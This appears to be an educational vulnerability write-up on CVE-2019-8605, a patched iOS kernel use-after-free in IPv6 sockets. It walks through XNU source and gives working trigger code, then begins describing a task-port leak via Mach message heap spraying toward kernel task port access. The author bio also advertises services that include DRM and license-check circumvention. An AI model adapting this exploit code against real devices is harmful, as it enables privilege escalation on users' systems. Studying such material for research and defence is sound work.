CVE-2019-8605: From UAF to TFP0
About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.
This research is published for educational and defensive purposes. The target sample is anonymized throughout.
CVE-2019-8605: From UAF to TFP0
This writeup began with a bug report by Ned Williamson:
alongside an excellent Project Zero blog post that walks through the same territory:
Apple’s advisory reads:
// https://support.apple.com/en-us/HT210549
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero
1. Sockets, from the developer’s view
As the advisory states, this is a use-after-free in the socket layer. Most developers only know sockets from the application level — opening a connection and exchanging data — so I’ll start there and work down to the kernel.
Networking textbooks first split the stack into the seven-layer OSI model:
then the more practical four-layer Internet protocol suite:
socket() takes three arguments:
int socket(int domain, int type, int protocol);
The first, domain, is the protocol family — AF_INET, AF_INET6, and so on.
The second, type, is the socket type — SOCK_STREAM, SOCK_DGRAM, SOCK_RAW, etc.:
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define SOCK_RDM 4 /* reliably-delivered message */
#endif /* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */
The third, protocol, is the transport protocol — IPPROTO_TCP, IPPROTO_UDP.
Creating a socket:
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (tcp_sock < 0) {
printf("[-] Can't create socket, error %d (%s)\n", errno, strerror(errno));
return -1;
}
To use it as a server you’d call bind() to attach a local port, listen() to start listening, then loop over accept() to accept connections before exchanging data.
Beej’s Guide is the classic socket-programming reference and I strongly recommend it:
2. The bug in the source
The user-space disconnectx()
This one barely shows up in search engines, so I had to read the source to understand what it does in the PoC:
__API_AVAILABLE(macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))
int disconnectx(int, sae_associd_t, sae_connid_t);
448 AUE_NULL ALL { int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }
Dispatch lands in this kernel function, which calls disconnectx_nocancel() at marker (1):
int
disconnectx(struct proc *p, struct disconnectx_args *uap, int *retval)
{
/*
* Due to similiarity with a POSIX interface, define as
* an unofficial cancellation point.
*/
__pthread_testcancel(1);
return (disconnectx_nocancel(p, uap, retval)); // (1)
}
At (2), file_socket() resolves the so structure, then sodisconnectx() is called at (3):
static int
disconnectx_nocancel(struct proc *p, struct disconnectx_args *uap, int *retval)
{
#pragma unused(p, retval)
struct socket *so;
int fd = uap->s;
int error;
error = file_socket(fd, &so); // (2)
if (error != 0)
return (error);
if (so == NULL) {
error = EBADF;
goto out;
}
error = sodisconnectx(so, uap->aid, uap->cid); // (3)
out:
file_drop(fd);
return (error);
}
socket_lock() and socket_unlock() guard against a race, then sodisconnectxlocked() is called at (4):
int
sodisconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
int error;
socket_lock(so, 1);
error = sodisconnectxlocked(so, aid, cid); // (4)
socket_unlock(so, 1);
return (error);
}
At (5), *so->so_proto->pr_usrreqs->pru_disconnectx is a function pointer:
int
sodisconnectxlocked(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
int error;
/*
* Call the protocol disconnectx handler; let it handle all
* matters related to the connection state of this session.
*/
error = (*so->so_proto->pr_usrreqs->pru_disconnectx)(so, aid, cid); // (5)
if (error == 0) {
/*
* The event applies only for the session, not for
* the disconnection of individual subflows.
*/
if (so->so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
sflt_notify(so, sock_evt_disconnected, NULL);
}
return (error);
}
Searching for the struct-initializer signature, the implementation is tcp_usr_disconnectx(). Its three arguments are the user-space arguments. At (6) there’s a check we can bypass by passing 0 for the second argument; bypassing it reaches tcp_usr_disconnect() at (7):
#define SAE_ASSOCID_ANY 0
#define SAE_ASSOCID_ALL ((sae_associd_t)(-1ULL))
#define EINVAL 22 /* Invalid argument */
static int
tcp_usr_disconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
if (aid != SAE_ASSOCID_ANY && aid != SAE_ASSOCID_ALL) // (6)
return (EINVAL);
return (tcp_usr_disconnect(so)); // (7)
}
tcp_usr_disconnect() uses the COMMON_START() / COMMON_END(PRU_DISCONNECT) macros. COMMON_START() sets tp = intotcpcb(inp), so the business logic is fine here. It then calls tcp_disconnect() at (8):
static int
tcp_usr_disconnect(struct socket *so)
{
int error = 0;
struct inpcb *inp = sotoinpcb(so);
struct tcpcb *tp;
socket_lock_assert_owned(so);
COMMON_START();
/* In case we got disconnected from the peer */
if (tp == NULL)
goto out;
tp = tcp_disconnect(tp); // (8)
COMMON_END(PRU_DISCONNECT);
}
tcp_disconnect() checks tp->t_state < TCPS_ESTABLISHED. tp->t_state is the socket state — I’ve listed part of it below. Since we only created a socket without calling bind() or listen(), the state is TCPS_CLOSED, so it takes the tcp_close() path at (9):
#define TCPS_CLOSED 0 /* closed */
#define TCPS_LISTEN 1 /* listening for connection */
#define TCPS_SYN_SENT 2 /* active, have sent syn */
#define TCPS_SYN_RECEIVED 3 /* have send and received syn */
/* states < TCPS_ESTABLISHED are those where connections not established */
#define TCPS_ESTABLISHED 4 /* established */
static struct tcpcb *
tcp_disconnect(struct tcpcb *tp)
{
struct socket *so = tp->t_inpcb->inp_socket;
if (so->so_rcv.sb_cc != 0 || tp->t_reassqlen != 0)
return tcp_drop(tp, 0);
if (tp->t_state < TCPS_ESTABLISHED)
tp = tcp_close(tp); // (9)
else if ((so->so_options & SO_LINGER) && so->so_linger == 0)
tp = tcp_drop(tp, 0);
else {
soisdisconnecting(so);
sbflush(&so->so_rcv);
tp = tcp_usrclosed(tp);
#if MPTCP
/* A reset has been sent but socket exists, do not send FIN */
if ((so->so_flags & SOF_MP_SUBFLOW) &&
(tp) && (tp->t_mpflags & TMPF_RESET))
return (tp);
#endif
if (tp)
(void) tcp_output(tp);
}
return (tp);
}
To check the state from user space:
// https://developer.apple.com/documentation/kernel/tcp_connection_info
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int len = sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t *)&len);
NSLog(@"%d", info.tcpi_state);
tcp_close() is enormous — I’ve trimmed the business logic. It always reaches the code below, which checks the protocol family. This bug is in in6_pcbdetach() at (10):
struct tcpcb *
tcp_close(struct tcpcb *tp)
{
struct inpcb *inp = tp->t_inpcb;
struct socket *so = inp->inp_socket;
...
#if INET6
if (SOCK_CHECK_DOM(so, PF_INET6))
in6_pcbdetach(inp); // (10)
else
#endif /* INET6 */
in_pcbdetach(inp);
/*
* Call soisdisconnected after detach because it might unlock the socket
*/
soisdisconnected(so);
tcpstat.tcps_closed++;
KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
tcpstat.tcps_closed, 0, 0, 0, 0);
return (NULL);
}
At (11), in6_pcbdetach() calls ip6_freepcbopts() to free the inp->in6p_outputopts member — and, as the surrounding code shows, it only frees it without nulling the pointer. Classic UAF shape:
void
in6_pcbdetach(struct inpcb *inp)
{
struct socket *so = inp->inp_socket;
if (so->so_pcb == NULL) {
/* PCB has been disposed */
panic("%s: inp=%p so=%p proto=%d so_pcb is null!\n", __func__,
inp, so, SOCK_PROTO(so));
/* NOTREACHED */
}
#if IPSEC
if (inp->in6p_sp != NULL) {
(void) ipsec6_delete_pcbpolicy(inp);
}
#endif /* IPSEC */
if (inp->inp_stat != NULL && SOCK_PROTO(so) == IPPROTO_UDP) {
if (inp->inp_stat->rxpackets == 0 && inp->inp_stat->txpackets == 0) {
INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
}
}
/*
* Let NetworkStatistics know this PCB is going away
* before we detach it.
*/
if (nstat_collect &&
(SOCK_PROTO(so) == IPPROTO_TCP || SOCK_PROTO(so) == IPPROTO_UDP))
nstat_pcb_detach(inp);
/* mark socket state as dead */
if (in_pcb_checkstate(inp, WNT_STOPUSING, 1) != WNT_STOPUSING) {
panic("%s: so=%p proto=%d couldn't set to STOPUSING\n",
__func__, so, SOCK_PROTO(so));
/* NOTREACHED */
}
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL;
}
ip6_freepcbopts(inp->in6p_outputopts); // (11)
ROUTE_RELEASE(&inp->in6p_route);
/* free IPv4 related resources in case of mapped addr */
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options);
inp->inp_options = NULL;
}
im6o = inp->in6p_moptions;
inp->in6p_moptions = NULL;
imo = inp->inp_moptions;
inp->inp_moptions = NULL;
sofreelastref(so, 0);
inp->inp_state = INPCB_STATE_DEAD;
/* makes sure we're not called twice from so_close */
so->so_flags |= SOF_PCBCLEARING;
inpcb_gc_sched(inp->inp_pcbinfo, INPCB_TIMER_FAST);
/*
* See inp_join_group() for why we need to unlock
*/
if (im6o != NULL || imo != NULL) {
socket_unlock(so, 0);
if (im6o != NULL)
IM6O_REMREF(im6o);
if (imo != NULL)
IMO_REMREF(imo);
socket_lock(so, 0);
}
}
}
At this point I can only say: the socket layer is enormous.
3. Finding the trigger path
From the analysis above, the vulnerable function is reachable from user space:
448 AUE_NULL ALL { int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }
The minimal trigger is just this — after disconnectx() we hold a socket with a dangling in6p_outputopts:
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
disconnectx(tcp_sock, 0, 0);
}
A UAF hinges on using a freed pointer later. So how do we keep operating on a closed socket?
Sockets expose two option accessors, getsockopt() and setsockopt():
105 AUE_SETSOCKOPT ALL { int setsockopt(int s, int level, int name, caddr_t val, socklen_t valsize); }
118 AUE_GETSOCKOPT ALL { int getsockopt(int s, int level, int name, caddr_t val, socklen_t *avalsize); }
setsockopt()’s first argument is the socket; the second is the level; the third is the option name (which depends on the level); the fourth is a pointer to the new value; the fifth is its size:
#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) {
socklen_t size = sizeof(*minmtu);
return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
// SOPT_SET
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
// SOPT_GET
int mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@"%d\n", mtu);
}
Why IPPROTO_IPV6 and IPV6_USE_MIN_MTU?
It comes back to the member that was never nulled: inp->in6p_outputopts. Its struct is:
struct ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */
/* Outgoing IF/address information */
struct in6_pktinfo *ip6po_pktinfo;
/* Next-hop address information */
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
/* Destination options header (before a routing header) */
struct ip6_dest *ip6po_dest1;
/* Routing header related info. */
struct ip6po_rhinfo ip6po_rhinfo;
/* Destination options header (after a routing header) */
struct ip6_dest *ip6po_dest2;
int ip6po_tclass; /* traffic class */
int ip6po_minmtu; /* fragment vs PMTU discovery policy */
#define IP6PO_MINMTU_MCASTONLY -1 /* default; send at min MTU for multicast */
#define IP6PO_MINMTU_DISABLE 0 /* always perform pmtu disc */
#define IP6PO_MINMTU_ALL 1 /* always send at min MTU */
/* whether temporary addresses are preferred as source address */
int ip6po_prefer_tempaddr;
#define IP6PO_TEMPADDR_SYSTEM -1 /* follow the system default */
#define IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define IP6PO_TEMPADDR_PREFER 1 /* prefer temporary address */
int ip6po_flags;
#if 0 /* parameters in this block is obsolete. do not reuse the values. */
#define IP6PO_REACHCONF 0x01 /* upper-layer reachability confirmation. */
#define IP6PO_MINMTU 0x02 /* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define IP6PO_DONTFRAG 0x04 /* no fragmentation (IPV6_DONTFRAG) */
#define IP6PO_USECOA 0x08 /* use care of address */
};
Both set*() and get*() ultimately reach a case that touches a struct member.
Searching the source for IPV6_USE_MIN_MTU, ip6_getpcbopt has the matching code. The IPV6_USE_MIN_MTU option maps to ip6_pktopts->ip6po_minmtu:
static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
int sticky, int cmsg, int uproto)
{
...
switch (optname) {
...
case IPV6_USE_MIN_MTU:
if (len != sizeof (int))
return (EINVAL);
minmtupolicy = *(int *)(void *)buf;
if (minmtupolicy != IP6PO_MINMTU_MCASTONLY &&
minmtupolicy != IP6PO_MINMTU_DISABLE &&
minmtupolicy != IP6PO_MINMTU_ALL) {
return (EINVAL);
}
opt->ip6po_minmtu = minmtupolicy; // the assignment
break;
Both ip6_setpktopts() and ip6_pcbopt() call ip6_setpktopt(), but only the latter’s call logic matches, so the caller is ip6_pcbopt:
static int
ip6_pcbopt(int optname, u_char *buf, int len, struct ip6_pktopts **pktopt,
int uproto)
{
struct ip6_pktopts *opt;
opt = *pktopt;
if (opt == NULL) {
opt = _MALLOC(sizeof (*opt), M_IP6OPT, M_WAITOK);
if (opt == NULL)
return (ENOBUFS);
ip6_initpktopts(opt);
*pktopt = opt;
}
return (ip6_setpktopt(optname, buf, len, opt, 1, 0, uproto));
}
In ip6_ctloutput(), when optname is IPV6_USE_MIN_MTU, ip6_pcbopt() is called:
int
ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
...
if (level == IPPROTO_IPV6) {
boolean_t capture_exthdrstat_in = FALSE;
switch (op) {
case SOPT_SET:
switch (optname) {
...
case IPV6_TCLASS:
case IPV6_DONTFRAG:
case IPV6_USE_MIN_MTU:
case IPV6_PREFER_TEMPADDR: {
...
optp = &in6p->in6p_outputopts;
error = ip6_pcbopt(optname, (u_char *)&optval,
sizeof (optval), optp, uproto);
...
break;
}
rip6_ctloutput() dispatches on SOPT_SET and SOPT_GET; IPV6_USE_MIN_MTU falls through the default branch into ip6_ctloutput():
int
rip6_ctloutput(
struct socket *so,
struct sockopt *sopt)
{
...
switch (sopt->sopt_dir) {
case SOPT_GET:
...
case SOPT_SET:
switch (sopt->sopt_name) {
case IPV6_CHECKSUM:
error = ip6_raw_ctloutput(so, sopt);
break;
case SO_FLUSH:
if ((error = sooptcopyin(sopt, &optval, sizeof (optval),
sizeof (optval))) != 0)
break;
error = inp_flush(sotoinpcb(so), optval);
break;
default:
error = ip6_ctloutput(so, sopt); // optname == IPV6_USE_MIN_MTU
break;
}
break;
}
return (error);
}
rip6_ctloutput() isn’t reached through a normal call chain — it’s wired up through a struct initializer:
{
...
.pr_ctloutput = rip6_ctloutput,
}
That’s easy enough to trace: search for ->pr_ctloutput. When level isn’t SOL_SOCKET, rip6_ctloutput() is called:
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
/* the socket has been shutdown, no more sockopt's */
error = EINVAL;
goto out;
}
...
if (sopt->sopt_level != SOL_SOCKET) {
if (so->so_proto != NULL &&
so->so_proto->pr_ctloutput != NULL) {
error = (*so->so_proto->pr_ctloutput)(so, sopt);
goto out;
}
error = ENOPROTOOPT;
} else {
And finally back to the original setsockopt():
int
setsockopt(struct proc *p, struct setsockopt_args *uap,
__unused int32_t *retval)
{
struct socket *so;
struct sockopt sopt;
int error;
AUDIT_ARG(fd, uap->s);
if (uap->val == 0 && uap->valsize != 0)
return (EFAULT);
/* No bounds checking on size (it's unsigned) */
error = file_socket(uap->s, &so);
if (error)
return (error);
sopt.sopt_dir = SOPT_SET;
sopt.sopt_level = uap->level;
sopt.sopt_name = uap->name;
sopt.sopt_val = uap->val;
sopt.sopt_valsize = uap->valsize;
sopt.sopt_p = p;
if (so == NULL) {
error = EINVAL;
goto out;
}
#if CONFIG_MACF_SOCKET_SUBSET
if ((error = mac_socket_check_setsockopt(kauth_cred_get(), so,
&sopt)) != 0)
goto out;
#endif /* MAC_SOCKET_SUBSET */
error = sosetoptlock(so, &sopt, 1); /* will lock socket */
out:
file_drop(uap->s);
return (error);
}
That’s the origin of the IPPROTO_IPV6 / IPV6_USE_MIN_MTU arguments.
But remember — all of the above assumes the socket is still healthy. What happens after disconnectx()?
Can we still operate on a closed socket?
#define IPV6_USE_MIN_MTU 42
int get_minmtu(int sock, int *minmtu) {
socklen_t size = sizeof(*minmtu);
return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
// SOPT_SET
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
// free in6p_outputopts
disconnectx(tcp_sock, 0, 0);
int ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if (ret) {
printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
return -1;
}
}
Clearly not:
[-] setsockopt() failed, error 22 (Invalid argument)
Because sosetoptlock() has a check that bails out as soon as it sees a shutdown socket:
#define SS_CANTRCVMORE 0x0020 /* can't receive more data from peer */
#define SS_CANTSENDMORE 0x0010 /* can't send more data to peer */
#define SOF_NPX_SETOPTSHUT 0x00002000 /* Non POSIX extension to allow
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
/* the socket has been shutdown, no more sockopt's */
error = EINVAL;
goto out;
}
...
Read the condition carefully: the left side so->so_state must match SS_CANTRCVMORE | SS_CANTSENDMORE, and the right side so->so_flags must not have SOF_NPX_SETOPTSHUT. If both hold, it jumps to goto out:
(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0
But there’s a way out — this flag allows setsockopt after shutdown:
#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */
The flag is used in the SOL_SOCKET branch: when sonpx.npx_mask and sonpx.npx_flags are both SONPX_SETOPTSHUT, SOF_NPX_SETOPTSHUT is added to so->so_flags:
int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
...
if (sopt->sopt_level != SOL_SOCKET) {
...
} else {
...
switch (sopt->sopt_name) {
...
case SO_NP_EXTENSIONS: {
struct so_np_extensions sonpx;
error = sooptcopyin(sopt, &sonpx, sizeof (sonpx),
sizeof (sonpx));
if (error != 0)
goto out;
if (sonpx.npx_mask & ~SONPX_MASK_VALID) {
error = EINVAL;
goto out;
}
/*
* Only one bit defined for now
*/
if ((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
if ((sonpx.npx_flags & SONPX_SETOPTSHUT))
so->so_flags |= SOF_NPX_SETOPTSHUT; // set the flag
else
so->so_flags &= ~SOF_NPX_SETOPTSHUT;
}
break;
}
Once so->so_flags has SOF_NPX_SETOPTSHUT, the right side of the earlier check no longer holds, and we bypass it:
(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0
The full trigger now:
int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int minmtu = -1;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
disconnectx(tcp_sock, 0, 0);
minmtu = 1;
ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if (ret) {
printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
return -1;
}
int mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@"%d\n", mtu);
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}
And it works:
2021-01-20 00:26:04.136672+0800 CVE-2019-8605-iOS[650:238743] 1
4. Leaking the Task Port kernel address
The standard UAF play is to heap-spray into the freed slot so the dangling pointer now points at data we control. Next: leak an address.
Following Ned Williamson’s approach — the order below doesn’t match the exploit’s order, so cross-reference freely:
What do we leak? The Task Port.
To explain what a Task Port is and what owning one gets you, here’s a brief XNU task primer.
A task is a resource container: it encapsulates a virtual address space, processor resources, scheduling control, and more. The relevant struct is below — note the IPC structures section:
struct task {
/* Synchronization/destruction information */
decl_lck_mtx_data(,lock) /* Task's lock */
_Atomic uint32_t ref_count; /* Number of references to me */
boolean_t active; /* Task has not been terminated */
boolean_t halting; /* Task is being halted */
/* Virtual timers */
uint32_t vtimers;
/* Miscellaneous */
vm_map_t map; /* Address space description */
queue_chain_t tasks; /* global list of tasks */
/* Threads in this task */
queue_head_t threads;
...
/* IPC structures */
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port *itk_self; /* not a right, doesn't hold ref */
struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
struct ipc_port *itk_sself; /* a send right */
struct exception_action exc_actions[EXC_TYPES_COUNT];
/* a send right each valid element */
struct ipc_port *itk_host; /* a send right */
struct ipc_port *itk_bootstrap; /* a send right */
struct ipc_port *itk_seatbelt; /* a send right */
struct ipc_port *itk_gssd; /* yet another send right */
struct ipc_port *itk_debug_control; /* send right for debugmode communications */
struct ipc_port *itk_task_access; /* and another send right */
struct ipc_port *itk_resume; /* a receive right to resume this task */
struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
/* all send rights */
struct ipc_space *itk_space;
...
};
In short, the Task Port is the task’s own port. mach_task_self / mach_task_self() both return it, and it’s the gateway to a huge amount of capability. In the exploit code below, the first argument to find_port_via_uaf() is obtained from mach_task_self().
The leak flow:
self_port_addr = task_self_addr(); // port leak primitive
with a cache behind it:
uint64_t task_self_addr() {
static uint64_t cached_task_self_addr = 0;
// have we already resolved the Task Port address?
if (cached_task_self_addr)
return cached_task_self_addr; // return the cached Task Port address
else
return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}
Get a vulnerable socket, spray over the freed memory, and read through inp->in6p_outputopts:
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
int sock = get_socket_with_dangling_options();
// fill the freed memory and read back through inp->in6p_outputopts
...
close(sock);
return 0;
}
We can’t just spray the port directly, because a port looks different in user space than it does in the kernel.
In user space, a port is an unsigned integer:
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t; /* Used by mach */
typedef __darwin_natural_t __darwin_mach_port_name_t; /* Used by mach */
typedef unsigned int __darwin_natural_t;
In the kernel, a port is the ipc_port struct:
struct ipc_port {
/*
* Initial sub-structure in common with ipc_pset
* First element is an ipc_object second is a
* message queue
*/
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
} data;
union {
ipc_kobject_t kobject;
ipc_importance_task_t imp_task;
ipc_port_t sync_inheritor_port;
struct knote *sync_inheritor_knote;
struct turnstile *sync_inheritor_ts;
} kdata;
struct ipc_port *ip_nsrequest;
struct ipc_port *ip_pdrequest;
struct ipc_port_request *ip_requests;
union {
struct ipc_kmsg *premsg;
struct turnstile *send_turnstile;
SLIST_ENTRY(ipc_port) dealloc_elm;
} kdata2;
mach_vm_address_t ip_context;
natural_t ip_sprequests:1, /* send-possible requests outstanding */
ip_spimportant:1, /* ... at least one is importance donating */
ip_impdonation:1, /* port supports importance donation */
ip_tempowner:1, /* dont give donations to current receiver */
ip_guarded:1, /* port guarded (use context value as guard) */
ip_strict_guard:1, /* Strict guarding; Prevents user manipulation of context values directly */
ip_specialreply:1, /* port is a special reply port */
ip_sync_link_state:3, /* link the special reply port to destination port/ Workloop */
ip_impcount:22; /* number of importance donations in nested queue */
mach_port_mscount_t ip_mscount;
mach_port_rights_t ip_srights;
mach_port_rights_t ip_sorights;
#if MACH_ASSERT
#define IP_NSPARES 4
#define IP_CALLSTACK_MAX 16
/* queue_chain_t ip_port_links;*//* all allocated ports */
thread_t ip_thread; /* who made me? thread context */
unsigned long ip_timetrack; /* give an idea of "when" created */
uintptr_t ip_callstack[IP_CALLSTACK_MAX]; /* stack trace */
unsigned long ip_spares[IP_NSPARES]; /* for debugging */
#endif /* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
uint8_t ip_srp_lost_link:1, /* special reply port turnstile link chain broken */
ip_srp_msg_sent:1; /* special reply port msg sent */
#endif
};
So how do we get the kernel-space address into inp->in6p_outputopts?
Answer: an OOL message.
An OOL message is defined as follows. mach_msg_ool_ports_descriptor_t sends multiple Mach ports in a single message as an array of ports:
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
Why an OOL message for the spray? The source tells us.
Mach message send/receive goes through mach_msg(), which exists in both user and kernel space.
Following mach_msg(): it calls mach_msg_trap(), which calls mach_msg_overwrite_trap():
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args *args)
{
kern_return_t kr;
args->rcv_msg = (mach_vm_address_t)0;
kr = mach_msg_overwrite_trap(args);
return kr;
}
When mach_msg()’s second argument is MACH_SEND_MSG, ipc_kmsg_get() allocates the buffer and copies the message in from user space:
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg() second argument
...
mach_msg_return_t mr = MACH_MSG_SUCCESS; // all good
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
if (option & MACH_SEND_MSG) {
ipc_space_t space = current_space();
ipc_kmsg_t kmsg; // local kmsg variable
// allocate the buffer and copy the message header in from user space
mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
// convert ports and copy the message body
mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
// send the message
mr = ipc_kmsg_send(kmsg, option, msg_timeout);
}
if (option & MACH_RCV_MSG) {
...
}
return MACH_MSG_SUCCESS;
}
ipc_kmsg_get() — ipc_kmsg_t is the kernel-side message storage struct. The copy process is annotated below; it mostly operates on kmsg->ikm_header, the message data passed in from user space:
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t *kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t *trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count = 0;
// length parameter checks
...
// mach_msg_legacy_base_t is the same size as mach_msg_base_t
if (size == sizeof(mach_msg_legacy_header_t)) {
len_copied = sizeof(mach_msg_legacy_header_t);
} else {
len_copied = sizeof(mach_msg_legacy_base_t);
}
// copy the message in from user space
if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
return MACH_SEND_INVALID_DATA;
}
// advance to the kernel-side message start
msg_addr += sizeof(legacy_base.header);
// add the maximum trailer length up front — we don't yet know what
// trailer type the receiver will request, so reserve for the largest
// typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
// #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size = size + MAX_TRAILER_SIZE;
// allocate kernel memory
kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
// initialize parts of kmsg.ikm_header
...
// copy the message body (trailer excluded)
if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return MACH_SEND_INVALID_DATA;
}
// locate the trailer at the tail of the kmsg by size, and initialize it
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
*kmsgp = kmsg;
return MACH_MSG_SUCCESS;
}
